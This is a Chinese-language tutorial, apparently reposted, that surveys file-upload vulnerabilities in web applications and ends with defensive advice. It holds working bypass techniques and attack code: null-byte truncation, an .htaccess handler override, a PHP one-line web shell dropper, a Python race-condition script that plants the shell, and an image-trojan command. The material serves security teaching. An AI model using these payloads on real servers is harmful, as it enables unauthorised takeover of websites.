文件上傳漏洞總結


1. 概述

文件上傳漏洞可以說是日常滲透測試中用得最多的一個漏洞,用它獲得服務器權限最快最直接。在Web程序中,經常需要用到文件上傳的功能。如用戶或者管理員上傳圖片,或者其它文件。如果沒有限制上傳類型或者限制不嚴格被繞過,就有可能造成文件上傳漏洞。如果上傳了可執行文件或者網頁腳本,就會導致網站被控制甚至服務器淪陷。,復雜一點的情況是配合 Web Server的解析漏洞來獲取控制權或結合文件包含漏洞。此篇文章主要分三部分:總結一些常見的上傳文件校驗方式,以及繞過校驗的各種姿勢,最后對此漏洞提幾點防護建議。

2. 上傳檢測流程

通常一個文件以HTTP協議進行上傳時,將以POST請求發送至Web服務器,Web服務器接收到請求並同意后,用戶與Web服務器將建立連接,並傳輸數據。

  • 客戶端javascript校驗(一般只校驗文件的擴展名)
  • 服務端校驗
    • 文件頭content-type字段校驗(image/gif)
    • 文件內容頭校驗(GIF89a)
    • 目錄路經檢測(檢測跟Path參數相關的內容)
    • 文件擴展名檢測 (檢測跟文件 extension 相關的內容)
    • 后綴名黑名單校驗
    • 后綴名白名單校驗
    • 自定義正則校驗
  • WAF設備校驗(根據不同的WAF產品而定)

3. 客戶端校驗

這類檢測通常在上傳頁面里含有專門檢測文件上傳的 javascript 代碼 最常見的就是檢測擴展名是否合法,有白名單形式也有黑名單形式。

  • 這類檢測,通常是在上傳頁面里含有專門檢測文件上傳的JavaScript代碼,最常見的就是檢測擴展名是否合法,示例代碼如下:


    function CheckFileType()
    {
        var objButton=document.getElementById("Button1");//上傳按鈕
        var objFileUpload=document.getElementById("FileUpload1");
        var objMSG=document.getElementById("msg");//顯示提示信息用DIV
        var FileName=new String(objFileUpload.value);//文件名
        var extension=new String(FileName.substring(FileName.lastIndexOf(".")+1,FileName.length));//文件擴展名

        if(extension=="jpg"||extension=="JPG")//可以另行添加擴展名
        {
            objButton.disabled=false;//啟用上傳按鈕
            objMSG.innerHTML="文件檢測通過";
        }
        else
        {
            objButton.disabled=true;//禁用上傳按鈕
            objMSG.innerHTML="請選擇正確的文件上傳";
        }
    }

  • 判斷方式:在瀏覽加載文件,但還未點擊上傳按鈕時便彈出對話框,(進一步確定可以通過配置瀏覽器HTTP代理(沒有流量經過代理就可以證明是客戶端JavaScript檢測))內容如:只允許傳.jpg/.jpeg/.png后綴名的文件,而此時並沒有發送數據包。

繞過方法:

  • 將需要上傳的惡意代碼文件類型改為允許上傳的類型,例如將shell.asp改為shell.jpg上傳,配置Burp Suite代理進行抓包,然后再將文件名shell.jpg改為shell.asp
  • 上傳頁面,審查元素,修改JavaScript檢測函數(具體方法:可以使用firbug之類的插件把它禁掉)

4. 服務端檢測

4.1. 服務端MIME類型檢測

MIME的作用:使客戶端軟件,區分不同種類的數據,例如web瀏覽器就是通過MIME類型來判斷文件是GIF圖片,還是可打印的PostScript文件。web服務器使用MIME來說明發送數據的種類, web客戶端使用MIME來說明希望接收到的數據種類。

服務器端檢測文件MIME類型可能的代碼如下:

    <?php
    if($_FILES['file']['type'] != "image/gif")
    {
        echo "Sorry, we only allow uploading GIF images";
        exit;
    }
    $uploaddir = './';
    $uploadfile = $uploaddir . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
    {
        echo "File is valid, and was successfully uploaded.\n";
    } else {
        echo "File uploading failed.\n";
    }
    ?>
  • 繞過方法

配置Burp Suite代理進行抓包,將Content-Type修改為image/gif,或者其他允許的類型

然后在對應目錄生成shell.jpg

4.2. 服務端目錄路徑檢測

  • 上傳的數據包中,如果存在path(或者其他名稱)等能夠操作上傳路徑的參數,修改該參數配合解析漏洞Get Webshell,測試代碼
  • 條件:php版本5.3.4以下;gpc關閉
<?php
error_reporting(0);

if(isset($_POST['upload']))
{
    $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
    $file_ext = substr($_FILES['file']['name'],strpos($_FILES['file']['name'],".")+1);
    if(in_array($file_ext,$file_arr))
    {
        $tempFile = $_FILES['file']['tmp_name'];
        //這里的$_REQUEST['jieduan']造成可以利用截斷上傳
        $targePath = $_SERVER['DOCUMENT_ROOT'].$_REQUEST['jieduan'].rand(10,99).
            date('YmdHis').".".$file_ext;
        if(move_uploaded_file($tempFile,$targePath))
        {
            echo '上傳成功'.'<br>';
            echo '路徑'.$targePath;
        }
        else
        {
            echo("上傳失敗");
        }
    }
else
{
    echo("上傳失敗");
}
}
?>

4.3. 服務端文件擴展名檢測

  • 黑名單檢測:
    黑名單的安全性比白名單低很多,服務器端,一般會有個專門的blacklist文件,里面會包含常見的危險腳本文件類型,例如:html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh |phtm | shtm |inc等等。

黑名單擴展名過濾,限制不夠全面:IIS默認支持解析.asp | .cdx | .asa | .cer等

    <?php
    function getExt($filename){
        //sunstr - 返回字符串的子串
        //strripos — 計算指定字符串在目標字符串中最后一次出現的位置(不區分大小寫)
        return substr($filename,strripos($filename,'.')+1);
    }
    if($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br />";
    }
    else{
        $black_file = explode("|","php|jsp|asp");//允許上傳的文件類型組
        $new_upload_file_ext = strtolower(getExt($_FILES["file"]["name"])); //取得被.隔開的最后字符串
        if(in_array($new_upload_file_ext,$black_file))
        {
    		echo "文件不合法";
            die();
        }
        else{
            $filename = time().".".$new_upload_file_ext;
            if(move_uploaded_file($_FILES['file']['tmp_name'],"upload/".$filename))
            {
                echo "Upload Success";
            }
        }
    }
    ?>

不被允許的文件格式.php,但是可以上傳文件名為shell.php_(下划線是空格),IIS支持,linux不支持,詳細見下面的特殊文件名繞過描述;

  • 白名單檢測
    僅允許指定的文件類型上傳,比如僅與需上傳jpg | gif | doc等類型的文件,其他全部禁止
  • 繞過方法:
  • 文件名大小寫繞過

    用像 AsP,pHp 之類的文件名繞過黑名單檢測

  • 名單列表繞過

    用黑名單里沒有的名單進行攻擊,比如黑名單里沒有 asa 或 cer 之類

  • 特殊文件名繞過:

    比如發送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划線為空格),這種命名方式 在 windows 系統里是不被允許的,所以需要在 burp 之類里進行修改,然后繞過驗證后,會 被 windows 系統自動去掉后面的點和空格,但要注意 Unix/Linux 系統沒有這個特性

  • 0x00截斷
    文件名后綴就一個%00字節,可以截斷某些函數對文件名的判斷。在許多語言函數中處理函數中,處理字符串中
    在擴展名檢測這大部分都是 asp 的程序有這種漏洞,給個簡單的偽代碼

    Name = getname(http requests)//假如這一步獲取到的文件名是dama.asp .jpg
    Type = gettype(name)//而在該函數中,是從后往前掃描文件擴展名,所以判斷為jpg文件
    If(type == jpg)
    SaveFileToPath(UploadPath.name , name)//但在這里卻是以0x00作為文件名截斷,最后以dama.asp存入路徑里

操作方法:上傳dama.jpg,Burp抓包,將文件名改為dama.php%00.jpg,選中%00,進行url-decode。

PHP任意文件上傳漏洞(CVE-2015-2348)**該漏洞存在於php的move_uploaded_file()函數中,這個函數一般在上傳文件時被使用,用途是將上傳的文件移動到新位置。這次的漏洞就出現在$destination這個參數中,這個參數代表的是上傳文件移動的最終目的地址。如果$destination變量是從用戶$_GET或$_POST中獲得的並且我們可控,那么我們可以利用空字符\x00來截斷后面的拓展名,從而造成任意文件上傳。

演示代碼:

   <?php
/*
move_uploaded_file(string $filename,string $destination)
$destination參數代表得失上傳文件移動的最終目的地址
如果$destination變量是從用戶$_GET或$_POST中獲得的並且我們可控,
那么我們可以利用空字符\x00來截斷后面的拓展名,從而造成任意文件上傳
*/
if (isset($_POST['Upload'])){
   $target_path = WEB_PAGE_TO_ROOT."hackable/uploads/";
   $target_path = $target_path . basename($_FILES['uploaded']['name']);
   $uploaded_name = $_FILES['uploaded']['name'];
   $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
   $uploaded_size = $_FILES['uploaded']['size'];
   if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
       if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $_POST['drops'])) {
           $html .= '<pre>';
           $html .= 'Your image was not uploaded.';
           $html .= '</pre>';
       }else {
           $html .= '<pre>';
           $html .= $target_path . ' succesfully uploaded!';
           $html .= '</pre>';
       }}
   else{
       $html .= '<pre>';
       $html .= 'Your image was not uploaded.';
       $html .= '</pre>';
   }
}

然后我們上傳文件,這里把POST的drops參數利用空字符進行截斷

  • .htaccess 文件攻擊

    配合名單列表繞過,上傳一個自定義的.htaccess,就可以輕松繞過各種檢測,該文件僅在Apache平台上存在,.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平台上不存在該文件,該文件默認開啟,啟用和關閉在httpd.conf文件中配置。該文件的寫法如下:

    <FilesMatch "a.jpg">
     SetHandler application/x-httpd-php
    </FilesMatch>
    

    保存為.htaccess文件。該文件的意思是,只要遇到文件名中包含有”a.jpg”字符串的任意文件,統一執行。如果這個"a.jpg"的內容是一句話木馬,即可利用中國菜刀進行連接

4.4. 服務端文件內容檢測

+ 文件幻數檢測:

JPG : FF D8 FF E0 00 10 4A 46 49 46

GIF : 47 49 46 38 39 61 (GIF89a)

PNG: 89 50 4E 47

繞過方法:
在文件幻數后面加上自己的一句話木馬就行了。

+ 文件相關信息檢測:

一般就是檢查圖片文件的大小,圖片文件的尺寸之類的信息。

繞過方法:
偽造好文件幻數,在后面添加一句話木馬之后,再添加一些其他的內容,增大文件的大小。

通常,對於文件內容檢查的繞過,就是直接用一個結構完整的文件進行惡意代碼注入即可。

簡化的演示代碼:

    <?php
    var_dump(getimagesize("shell.php"));
    ?>

加上GIF頭內容

5. 競爭上傳

演示代碼:


<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
    die("error:upload the file type is not allowed,delete the file!");
}
?>

首先將文件上傳到服務器,然后檢測文件后綴名,如果不符合條件,就刪掉,我們的利用思路是這樣的,首先上傳一個php文件,內容為:

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

當然這個文件會被立馬刪掉,所以我們使用多線程並發的訪問上傳的文件,總會有一次在上傳文件到刪除文件這個時間段內訪問到上傳的php文件,一旦我們成功訪問到了上傳的文件,那么它就會向服務器寫一個shell。利用代碼如下:

import os
import requests
import threading

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = "http://127.0.0.1:8080/upload/shell0.php"
        self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print("[*]create file info.php success")
            os._exit(0)

    def _upload(self):
        print("upload file.....")
        file = {"file":open("shell0.php","r")}
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()
            for i in range(10):
                self._upload()
                self._get()

if __name__ == "__main__":
    threads = 20

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

經過幾次嘗試后成功成功寫入shell

6. 圖片木馬制作

命令:

copy /b 1.jpg+2.php

7. 總結

條件: 尋找一個上傳點,查看上傳點是否可用。
利用:
首先判斷是程序員自己寫的上傳點,還是編輯器的上傳功能
如果是編輯器上傳功能,goolge當前編輯器的漏洞
如果是程序員寫的上傳點
上傳一個正常的jpg圖片 查看上傳點是否可用
上傳一個正常的jpg圖片,burp攔截,修改后綴為php (可以檢測前端驗證 MIME檢測 文件內容檢測 后綴檢測)
上傳一個正常的jpg圖片,burp攔截, 00截斷 1.php%00.jpg
判斷服務器是什么類型,web服務器程序,是什么類型,版本號多少
利用解析漏洞
防御:
上傳文件的存儲目錄禁用執行權限
文件后綴白名單,注意0x00截斷攻擊(PHP更新到最新版本)
不能有本地文件包含漏洞
及時修復Web上傳代碼(重要)
升級Web Server

參考鏈接

[1. Upload Attack Framework](Upload Attack Framework)
2. web中的條件競爭漏洞
3. 文件上傳總結
4. 截斷在文件包含和上傳中的利用
5. 文件上傳漏洞
PS:這篇文章轉發而來,忘記出處,感謝原文作者


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM